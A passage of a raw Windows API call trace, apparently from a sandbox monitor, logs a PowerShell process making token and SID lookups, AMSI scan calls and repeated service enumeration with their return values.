lpdwindex=0x893e2dc | out: lpdwindex=0x893e2dc) returned 0x0 [0128.292] CloseHandle (hObject=0x9c8) returned 1 [0128.294] GetExitCodeProcess (in: hProcess=0x9c4, lpExitCode=0x893e528 | out: lpExitCode=0x893e528*=0x2) returned 1 [0128.294] SetConsoleTitleW (lpConsoleTitle="Administrator: Windows PowerShell") returned 1 [0128.310] CloseHandle (hObject=0x9c4) returned 1 [0128.310] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e64c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e64c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xb7, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.310] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e9b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e9b8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xb7, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.310] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893ea18*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893ea18*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e6bc, nSize=0xc3 | out: lpBuffer="") returned 0x0 [0128.311] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893ea28*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893ea28*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.311] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e994*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e994*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.311] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893ea18*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893ea18*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.311] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e8fc | out: lpConsoleScreenBufferInfo=0x893e8fc) returned 1 [0128.311] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e8fc | out: lpConsoleScreenBufferInfo=0x893e8fc) returned 1 [0128.312] GetCurrentProcess () returned 0xffffffff [0128.312] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x893e890 | out: TokenHandle=0x893e890*=0x9c4) returned 1 [0128.312] GetCurrentProcess () returned 0xffffffff [0128.312] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x893e868 | out: TokenHandle=0x893e868*=0x9c8) returned 1 [0128.312] GetTokenInformation (in: TokenHandle=0x9c4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x893e89c | out: TokenInformation=0x0, ReturnLength=0x893e89c) returned 0 [0128.313] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x797fb90 [0128.313] GetTokenInformation (in: TokenHandle=0x9c4, TokenInformationClass=0x1, TokenInformation=0x797fb90, TokenInformationLength=0x24, ReturnLength=0x893e89c | out: TokenInformation=0x797fb90, ReturnLength=0x893e89c) returned 1 [0128.313] LocalFree (hMem=0x797fb90) returned 0x0 [0128.313] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x893e7bc, DesiredAccess=0x800, PolicyHandle=0x893e77c | out: PolicyHandle=0x893e77c) returned 0x0 [0128.313] LsaLookupSids (in: PolicyHandle=0x778c240, Count=0x1, Sids=0x56c8e0c*=0x56c8db0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x893e798, Names=0x893e78c | out: ReferencedDomains=0x893e798, Names=0x893e78c) returned 0x0 [0128.313] LsaClose (ObjectHandle=0x778c240) returned 0x0 [0128.314] LsaFreeMemory (Buffer=0x31ad480) returned 0x0 [0128.314] LsaFreeMemory (Buffer=0x31d0300) returned 0x0 [0128.314] GetCurrentProcessId () returned 0x1368 [0128.314] GetCurrentThreadId () returned 0xf9c [0128.314] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e824 | out: lpConsoleScreenBufferInfo=0x893e824) returned 1 [0128.320] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e824 | out: lpConsoleScreenBufferInfo=0x893e824) returned 1 [0128.356] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e82c | out: lpConsoleScreenBufferInfo=0x893e82c) returned 1 [0128.362] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0128.383] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e82c | out: lpConsoleScreenBufferInfo=0x893e82c) returned 1 [0128.404] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0128.435] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x893e848 | out: lpMode=0x893e848) returned 1 [0128.448] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x56c8ac8*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x893e83c, lpReserved=0x0 | out: lpBuffer=0x56c8ac8*, lpNumberOfCharsWritten=0x893e83c*=0x1d) returned 1 [0128.475] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e828 | out: lpConsoleScreenBufferInfo=0x893e828) returned 1 [0128.493] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0128.508] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e828 | out: lpConsoleScreenBufferInfo=0x893e828) returned 1 [0128.523] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0128.533] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x893e888 | out: lpMode=0x893e888) returned 1 [0128.549] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x544bb84*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x893e87c, lpReserved=0x0 | out: lpBuffer=0x544bb84*, lpNumberOfCharsWritten=0x893e87c*=0x1) returned 1 [0128.564] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e9b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e9b8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0128.564] CoCreateGuid (in: pguid=0x893eac4 | out: pguid=0x893eac4*(Data1=0x5e61502d, Data2=0x4284, Data3=0x49b4, Data4=([0]=0xb1, [1]=0x6a, [2]=0x74, [3]=0xef, [4]=0x51, [5]=0x91, [6]=0x48, [7]=0xa))) returned 0x0 [0128.564] CoCreateGuid (in: pguid=0x893eac4 | out: pguid=0x893eac4*(Data1=0x614d3750, Data2=0x3a54, Data3=0x4fc4, Data4=([0]=0x99, [1]=0x31, [2]=0x48, [3]=0x15, [4]=0x92, [5]=0x3a, [6]=0x88, [7]=0x4b))) returned 0x0 [0128.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e6bc, nSize=0xc3 | out: lpBuffer="뭼Մᛳ瑝") returned 0x0 [0128.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e6bc, nSize=0xc3 | out: lpBuffer="뭼Մᛳ瑝") returned 0x0 [0128.734] AmsiScanString () returned 0x80070015 [0128.751] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.752] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.753] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.753] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.756] CloseServiceHandle (hSCObject=0x31d0238) returned 1 [0128.757] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.757] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.758] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.758] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.759] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.759] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.760] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.760] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.766] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.766] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.767] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.767] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.770] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.771] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.785] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.785] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.787] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.787] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.787] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.787] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.789] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.789] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.789] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.789] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.791] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d06e8 [0128.791] EnumServicesStatusW (in: hSCManager=0x31d06e8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.791] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.791] EnumServicesStatusW (in: hSCManager=0x31d06e8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.793] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.793] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.794] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.794] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.798] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.798] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.799] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.799] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.804] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.805] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.805] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.805] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.808] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.808] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.809] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.809] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.810] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d0238 [0128.810] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.811] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.811] EnumServicesStatusW (in: hSCManager=0x31d0238, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31d06e8 [0128.813] EnumServicesStatusW (in: hSCManager=0x31d06e8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.813] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.813] EnumServicesStatusW (in: hSCManager=0x31d06e8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a18fc0, cbBufSize=0x660a, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x7a18fc0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 1 [0128.815] AmsiScanString () returned 0x80070015 [0128.826] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x31cfc48 [0128.827] EnumServicesStatusW (in: hSCManager=0x31cfc48, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318 | out: lpServices=0x0, pcbBytesNeeded=0x893e320, lpServicesReturned=0x893e31c, lpResumeHandle=0x893e318) returned 0 [0128.827] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a18fc0 [0128.827] EnumServicesStatusW (in: 